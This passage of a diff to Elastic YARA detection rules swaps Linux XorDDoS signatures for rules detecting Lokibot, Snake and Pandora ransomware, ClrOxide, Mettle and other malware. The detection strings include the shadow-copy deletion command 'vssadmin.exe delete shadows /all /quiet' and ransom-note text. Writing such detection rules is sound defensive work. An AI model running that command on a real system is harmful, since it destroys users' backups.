+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Lokibot.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409"
+		logic_hash = "c76941a83e18f11ed5af701e89616d324ddba613a95069997ea8f1830f328307"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "dfb813a5713f0e7bdb5afd500f1e84c6f042c8b1a1d27dd6511dca7f2107c13b"
+		fingerprint = "a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 8B 45 FC 8B 50 18 8B 45 08 89 50 18 8B 45 FC 8B 40 08 85 C0 }
+		$a1 = "MAC=%02X%02X%02XINSTALL=%08X%08Xk" fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_61C88137 : FILE MEMORY
+rule ELASTIC_Windows_Trojan_Lokibot_0F421617 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Windows Trojan Lokibot (Windows.Trojan.Lokibot)"
 		author = "Elastic Security"
-		id = "61c88137-02f6-4339-b8fc-04c72a5023aa"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "0f421617-df2b-4cb5-9d10-d984f6553012"
+		date = "2021-07-20"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L137-L155"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "479ef38fa00bb13a3aa8448aa4a4434613c6729975e193eec29fc5047f339111"
-		logic_hash = "e999355606ee7389be160ce3e96c6a62d7f9132b95cfec7d9f8b1a670551e6b8"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Trojan_Lokibot.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080"
+		logic_hash = "0076ccbe43ae77e3a80164d43832643f077e659a595fff01c87694e2274c5e86"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "c09b31424a54e485fe5f89b4ab0a008df6e563a75191f19de12113890a4faa39"
+		fingerprint = "9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 24 8B C1 8B 0C 24 8D 64 24 FC 89 0C 24 8B 4D E8 87 0C 24 96 8D 64 }
+		$a = { 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_Debb98A1 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Snake_550E0265 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Identifies SNAKE ransomware"
 		author = "Elastic Security"
-		id = "debb98a1-c861-4458-8bff-fae4f00a17dc"
-		date = "2022-09-12"
-		modified = "2022-10-18"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L157-L175"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "494f549e3dd144e8bcb230dd7b3faa8ff5107d86d9548b21b619a0318e362cad"
-		logic_hash = "c2e43818fcf18d34a6a3611aaaafde31d96b41867d15dfdb1dec20203f5907eb"
+		id = "550e0265-fca9-46df-9d5a-cf3ef7efc7ff"
+		date = "2020-06-30"
+		modified = "2021-08-23"
+		reference = "https://labs.sentinelone.com/new-snake-ransomware-adds-itself-to-the-increasing-collection-of-golang-crimeware/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Snake.yar#L1-L24"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "d9c2f6961a4ef560743060ed176bdc606561ca1b8270b8826cb0dbadaf4e5dbc"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "2c5688a82f7d39b0fceaf4458856549b1bce695a160a864f41b12b42e86e3745"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "f2796560ddc85ad98a5ef4f0d7323948d57116813c8a26ab902fdfde849704e0"
+		threat_name = "Windows.Ransomware.Snake"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { F4 87 5D F4 5B 9C 51 8B 4C 24 04 8D 49 2A 87 4C 24 04 89 4C }
+		$a1 = "Go build ID: \"X6lNEpDhc_qgQl56x4du/fgVJOqLlPCCIekQhFnHL/rkxe6tXCg56Ez88otHrz/Y-lXW-OhiIbzg3-ioGRz\"" ascii fullword
+		$a2 = "We breached your corporate network and encrypted the data on your computers."
+		$a3 = "c:\\users\\public\\desktop\\Fix-Your-Files.txt" nocase
+		$a4 = "%System Root%\\Fix-Your-Files.txt" nocase
+		$a5 = "%Desktop%\\Fix-Your-Files.txt" nocase
 
 	condition:
-		all of them
+		1 of ($a*)
 }
-rule ELASTIC_Linux_Trojan_Xorddos_1D6E10Fd : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Snake_119F9C83 : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Identifies SNAKE ransomware"
 		author = "Elastic Security"
-		id = "1d6e10fd-7404-4597-a97d-cc92849d84f4"
-		date = "2022-09-12"
-		modified = "2022-10-18"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L177-L195"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "4c7851316f01ae84ee64165be3ba910ab9b415d7f0e2f5b7e5c5a0eaefa3c287"
-		logic_hash = "01ec1af1ca03173e867113c3bec7911990a0c8c2d9f19b5233715a7f7490f5f1"
+		id = "119f9c83-4b55-47ce-8c0d-3799a7b46369"
+		date = "2020-06-30"
+		modified = "2021-08-23"
+		reference = "https://labs.sentinelone.com/new-snake-ransomware-adds-itself-to-the-increasing-collection-of-golang-crimeware/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Snake.yar#L26-L46"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "cf6c81e7332acc798409a05a548460bad0ac3621402672c242e48a1b6bccdae6"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "bf9d971a13983f1d0fdc8277e76cd1929523e239ce961316fe1f44cbdf0638a8"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "13ffd63c31df2cbaa6988abcaff3b0a3518437f1d37dcd872817b9cbdb61576f"
+		threat_name = "Windows.Ransomware.Snake"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 24 04 9C 83 C5 7B 9D 8D 6D 85 87 54 24 00 9C 83 C5 26 9D 8D }
+		$c1 = { 00 40 83 7C 00 40 9E 7C 00 60 75 7C 00 B0 6C 7C 00 B0 74 7C 00 D0 74 7C 00 B0 59 7C 00 D0 59 7C 00 F0 59 7C 00 10 5A 7C 00 30 5A 7C 00 50 5A 7C 00 70 5A 7C 00 90 5A 7C 00 B0 5A 7C 00 D0 5A 7C 00 D0 6C 7C 00 F0 5A 7C 00 30 5B 7C 00 50 5B 7C 00 70 5B 7C 00 90 5B 7C 00 D0 5E 7C 00 B0 5B 7C 00 D0 5B 7C 00 F0 5B 7C 00 50 60 7C 00 70 61 7C 00 10 5C 7C 00 30 5C 7C 00 50 5C 7C 00 10 63 7C 00 70 5C 7C 00 90 5C 7C 00 90 64 7C 00 B0 5C 7C 00 F0 5C 7C 00 10 5D 7C 00 F0 6C 7C 00 10 6D 7C 00 30 5D 7C 00 50 5D 7C 00 30 6D 7C 00 90 71 7C 00 70 5D 7C 00 90 5D 7C 00 B0 5D 7C 00 D0 5D 7C 00 70 6D 7C 00 F0 5D 7C 00 10 5E 7C 00 30 5E 7C 00 50 5E 7C 00 70 5E 7C 00 90 5E 7C 00 B0 5E 7C 00 F0 5E 7C 00 10 5F 7C 00 30 5F 7C 00 50 5F 7C 00 70 5F 7C 00 90 6D 7C 00 90 5F 7C 00 B0 6D 7C 00 D0 6D 7C 00 F0 6D 7C 00 10 6E 7C 00 B0 5F 7C 00 D0 5F 7C 00 F0 5F 7C 00 10 60 7C 00 30 60 7C 00 30 6E 7C 00 70 60 7C }
+		$c2 = { 00 30 64 7C 00 50 64 7C 00 70 64 7C 00 B0 64 7C 00 D0 64 7C 00 30 73 7C 00 F0 64 7C 00 90 71 7C 00 10 65 7C 00 30 65 7C 00 50 65 7C 00 90 72 7C 00 B0 72 7C 00 70 6E 7C 00 70 65 7C 00 B0 65 7C 00 D0 65 7C 00 F0 65 7C 00 10 66 7C 00 30 66 7C 00 50 66 7C 00 70 66 7C 00 90 66 7C 00 B0 66 7C 00 D0 66 7C 00 F0 66 7C 00 30 67 7C 00 90 6E 7C 00 B0 6E 7C 00 D0 6E 7C }
 
 	condition:
-		all of them
+		1 of ($c*)
 }
-rule ELASTIC_Linux_Trojan_Xorddos_E3Ffbbcc : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Snake_20Bc5Abc : BETA FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Identifies SNAKE ransomware"
 		author = "Elastic Security"
-		id = "e3ffbbcc-7751-4d96-abec-22dd9618cab1"
-		date = "2022-09-12"
-		modified = "2022-10-18"
-		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L197-L215"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "28b7ddf2548411910af033b41982cdc74efd8a6ef059a54fda1b6cbd59faa8f6"
-		logic_hash = "54711c2d3e6d73cf4358ba4a65cb19d996adcfa905c0089a18a61fe841fe9a34"
+		id = "20bc5abc-c519-47d2-a6de-5108071a9144"
+		date = "2020-06-30"
+		modified = "2021-08-23"
+		reference = "https://labs.sentinelone.com/new-snake-ransomware-adds-itself-to-the-increasing-collection-of-golang-crimeware/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Snake.yar#L48-L67"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		logic_hash = "f3d8a523e04e516e8e059c9f13df355e6caf29a528cfebdf730e3a7d135e3351"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "d5d5117a31da1a0ac3ef4043092eed47e2844938da9d03e2b68a66658e300175"
+		tags = "BETA, FILE, MEMORY"
+		fingerprint = "e7f1be2bd7e1f39b79ac89cf58c90abdb537ff54cbf161192d997e054d3f0883"
+		threat_name = "Windows.Ransomware.Snake"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { FF 10 52 FB FF D0 52 FB FF 00 52 FB FF D0 52 FB FF F0 51 FB }
+		$b1 = { 57 12 1A 10 1A 10 1A 10 1A 10 1A 10 1A 10 1A 10 1A 10 1A 10 1A }
 
 	condition:
-		all of them
+		1 of ($b*)
 }
-rule ELASTIC_Linux_Trojan_Xorddos_30F3B4D4 : FILE MEMORY
+rule ELASTIC_Linux_Exploit_CVE_2018_10561_0F246E33 : FILE MEMORY CVE_2018_10561
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Linux Exploit Cve 2018 10561 (Linux.Exploit.CVE-2018-10561)"
 		author = "Elastic Security"
-		id = "30f3b4d4-e634-418e-a9d5-7f12ef22f9ac"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "0f246e33-0e98-4778-8a2f-14876d1a0efe"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L217-L235"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5b15d43d3535965ec9b84334cf9def0e8c3d064ffc022f6890320cd6045175bc"
-		logic_hash = "99efc257ff2afb779304451bd9f6f6ce9e88f54954189601ed10e95e2268dd4f"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Exploit_CVE_2018_10561.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "eac08c105495e6fadd8651d2e9e650b6feba601ec78f537b17fb0e73f2973a1c"
+		logic_hash = "2c3785ddfded7128e983f3ec17a9f77c856d903f07e325b08f9f463950576ebe"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "de1002eb8e9aae984ee5fe2a6c1f91845dab4861e09e01d644248cff8c590e5b"
+		tags = "FILE, MEMORY, CVE-2018-10561"
+		fingerprint = "718b66d3d65d31f0908c8f7d7aee8113e9b51cb576cd725bbca1a23d3ccd4d72"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103864,28 +108447,28 @@ rule ELASTIC_Linux_Trojan_Xorddos_30F3B4D4 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 24 70 9C 83 C5 17 9D 8D 6D E9 0F 10 74 24 60 8B F6 0F 10 6C }
+		$a = { 0B DF 0B 75 87 8C 5C 03 03 7A 4B 7A 95 4A A5 D2 13 6A 6A 5A 5A }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_Ca75589C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Snessik_D166F98C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Linux Trojan Snessik (Linux.Trojan.Snessik)"
 		author = "Elastic Security"
-		id = "ca75589c-6354-411b-b0a5-8400e657f956"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "d166f98c-0fa3-4a1b-a6d2-7fbe4e338fc7"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L237-L255"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0448c1b2c7c738404ba11ff4b38cdc8f865ccf1e202f6711345da53ce46e7e16"
-		logic_hash = "c717e6f85a5b30514803ba43c85d82e2aaa4533b7f74db5345df83d1cc4c6551"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Snessik.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3ececc2edfff2f92d80ed3a5140af55b6bebf7cae8642a0d46843162eeddddd"
+		logic_hash = "44f15a87d48338aafa408d4bcabef844c8864cd95640ad99208b5035e28ccd27"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "0bcaeae9ec0f5de241a05c77aadb5c3f2e39c84d03236971a0640ebae528a496"
+		fingerprint = "6247d59326ea71426862e1b242c7354ee369fbe6ea766e40736e2f5a6410c8d7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103893,28 +108476,28 @@ rule ELASTIC_Linux_Trojan_Xorddos_Ca75589C : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { 6D E0 25 01 00 00 00 55 8B EC C9 87 D1 87 0C 24 87 D1 8D 64 }
+		$a = { D2 74 3B 83 CA FF F0 0F C1 57 10 85 D2 7F 9F 48 8D 74 24 2E 89 44 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_7909Cdd2 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Snessik_E435A79C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Linux Trojan Snessik (Linux.Trojan.Snessik)"
 		author = "Elastic Security"
-		id = "7909cdd2-8a49-4f51-ae16-1ffe321a29d4"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "e435a79c-4b8e-42de-8d78-51b684eba178"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L257-L275"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0a4a5874f43adbe71da88dc0ef124f1bf2f4e70d0b1b5461b2788587445f79d9"
-		logic_hash = "4b2557ab78d22ae4f46e5813ba5dc4663cd92b945a1add3155f77d3030ccc92d"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Snessik.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e24749b07f824a4839b462ec4e086a4064b29069e7224c24564e2ad7028d5d60"
+		logic_hash = "4850530a0566844447f56f4e5cb43c5982b1dcb784bb1aef3e377525b8651ed3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "5c982596276c8587a88bd910bb2e75a7f72ea7a57c401ffa387aced33f9ac2b9"
+		fingerprint = "bd9f81d03812e49323b86b2ea59bf5f08021d0b43f7629eb4d59e75eccb7dcf1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -103922,115 +108505,127 @@ rule ELASTIC_Linux_Trojan_Xorddos_7909Cdd2 : FILE MEMORY
 		os = "linux"
 
 	strings:
-		$a = { A5 07 00 EC C5 19 08 EC C5 19 08 18 06 00 00 18 06 00 00 06 }
+		$a = { C6 75 38 31 C0 48 8B 5C 24 68 48 8B 6C 24 70 4C 8B 64 24 78 4C 8B AC 24 80 00 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_2522D611 : FILE MEMORY
+rule ELASTIC_Windows_Ransomware_Pandora_Bca8Ce23 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Windows Ransomware Pandora (Windows.Ransomware.Pandora)"
 		author = "Elastic Security"
-		id = "2522d611-4ce3-4583-87d6-e5631b62d562"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "bca8ce23-6722-4cda-b5fa-623eda4fca1b"
+		date = "2022-03-14"
+		modified = "2022-04-12"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L277-L295"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0c2be53e298c285db8b028f563e97bf1cdced0c4564a34e740289b340db2aac1"
-		logic_hash = "59f2552809bc48e16719cb9b4d2a7b99999307803fce031ca39eb24e14b88908"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Ransomware_Pandora.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "2c940a35025dd3847f7c954a282f65e9c2312d2ada28686f9d1dc73d1c500224"
+		logic_hash = "52203c1af994667ba6833defe547e886dd02167e4d76c57711080e3be0473bfc"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "985885a6b5f01e8816027f92148d2496a5535f3c15de151f05f69ec273291506"
+		fingerprint = "0da732f6bdf24f35dee3c1bf85435650a5ce9b5c6a93f01176659943c01ad711"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 24 04 57 8B 7C 24 02 5F 87 44 24 00 50 8B 44 24 04 8D 40 42 87 44 }
+		$a1 = "/c vssadmin.exe delete shadows /all /quiet" wide fullword
+		$a2 = "\\Restore_My_Files.txt" wide fullword
+		$a3 = ".pandora" wide fullword
 
 	condition:
 		all of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_56Bd04D3 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Clroxide_D92D9575 : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Windows Hacktool Clroxide (Windows.Hacktool.ClrOxide)"
 		author = "Elastic Security"
-		id = "56bd04d3-6b52-43f4-b170-637feb86397a"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "d92d9575-9ad9-464f-95a3-8e100666d7fa"
+		date = "2024-02-29"
+		modified = "2024-03-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L297-L315"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0d2ce3891851808fb36779a348a83bf4aa9de1a2b2684fd0692434682afac5ec"
-		logic_hash = "47a33fcd69dd78cbc6c3274aeaa8dddabe119ae65b59077e1807657b8a67fed3"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_ClrOxide.yar#L1-L25"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f3a4900eff80563bff586ced172c3988347980f902aceef2f9f9f6d188fac8e3"
+		logic_hash = "01bb071e1286bb139c5e1c37e421153ef1b28a5994feeaedf6ad27ad7dade5e9"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "25cd85e8e65362a993a314f2fc500266fce2f343d21a2e91b146dafbbe8186db"
+		fingerprint = "b403acddadc5adb982a9ee0e0513ecd471b728680cc9a6cd8cd8150eb9c02776"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "linux"
+		os = "windows"
 
 	strings:
-		$a = { 5C 87 5C 24 04 89 5C 24 04 8B 1C 24 8D 64 24 04 8B 00 8B F6 87 }
+		$s1 = "clroxide..primitives..imethodinfo"
+		$s2 = "clroxide..clr..Clr"
+		$s3 = "\\src\\primitives\\icorruntimehost.rs"
+		$s4 = "\\src\\primitives\\iclrruntimeinfo.rs"
+		$s5 = "\\src\\primitives\\iclrmetahost.rs"
+		$s6 = "clroxide\\src\\clr\\mod.rs"
+		$s7 = "__clrcall"
 
 	condition:
-		all of them
+		2 of them
 }
-rule ELASTIC_Linux_Trojan_Xorddos_F412E4B4 : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mettle_E8Fdbcbd : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Linux Trojan Mettle (Linux.Trojan.Mettle)"
 		author = "Elastic Security"
-		id = "f412e4b4-adec-4011-b4b5-f5bb77b65d84"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "e8fdbcbd-84d3-4c42-986b-c8d5d940a96a"
+		date = "2024-05-06"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L317-L335"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "0e3a3f7973f747fcb23c72289116659c7f158c604d937d6ca7302fbab71851e9"
-		logic_hash = "b4e1b193e80aa88b91255df3a5f2e45de7f23fdba4a28d3ceb12db63098e70e5"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mettle.yar#L1-L23"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "864eae4f27648b8a9d9b0eb1894169aa739311cdd02b1435a34881acf7059d58"
+		logic_hash = "d13c1e7fb815ebbefa78922e9b85a1ced015c03b8f1b2cf1885a9c483b8e0ab3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "deb9f80d032c4b3c591935c474523fd6912d7bd2c4f498ec772991504720e683"
+		fingerprint = "2038686308a77286ed5d13b408962075933da7ca5772d46b65e5f247193036b5"
 		severity = 100
-		arch_context = "x86"
+		arch_context = "x86, arm64"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "linux"
 
 	strings:
-		$a = { 24 04 C1 E2 05 8B C0 03 C2 9C 83 C5 0F 9D 8D 6D F1 05 0C 00 }
+		$mettle1 = "mettlesploit!"
+		$mettle2 = "/mettle/mettle/src/"
+		$mettle3 = "mettle_get_c2"
+		$mettle4 = "mettle_console_start_interactive"
+		$mettle5 = "mettle_get_machine_id"
 
 	condition:
-		all of them
+		2 of ($mettle*)
 }
-rule ELASTIC_Linux_Trojan_Xorddos_71F8E26C : FILE MEMORY
+rule ELASTIC_Linux_Trojan_Mettle_813B9B6C : FILE MEMORY
 {
 	meta:
-		description = "Detects Linux Trojan Xorddos (Linux.Trojan.Xorddos)"
+		description = "Detects Linux Trojan Mettle (Linux.Trojan.Mettle)"
 		author = "Elastic Security"
-		id = "71f8e26c-d0ff-49e8-9c20-8df9149e8843"
-		date = "2022-09-12"
-		modified = "2022-10-18"
+		id = "813b9b6c-946d-46f0-a255-d06ab78347d4"
+		date = "2024-05-06"
+		modified = "2024-05-21"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Linux_Trojan_Xorddos.yar#L337-L355"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "13f873f83b84a0d38eb3437102f174f24a0ad3c5a53b83f0ee51c62c29fb1465"
-		logic_hash = "f9f2f22acd4f52cc313e3ecf425604651e0b8c78e33480d4d05bae5b8c9661fb"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Mettle.yar#L25-L52"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "bb651d974ca3f349858db7b5a86f03a8d47d668294f27e709a823fa11e6963d7"
+		logic_hash = "a6a9cf424bf1ca7985e1c4b14123ed236208ffa3f7c9ffebbdd85765a90bfa54"
 		score = 75
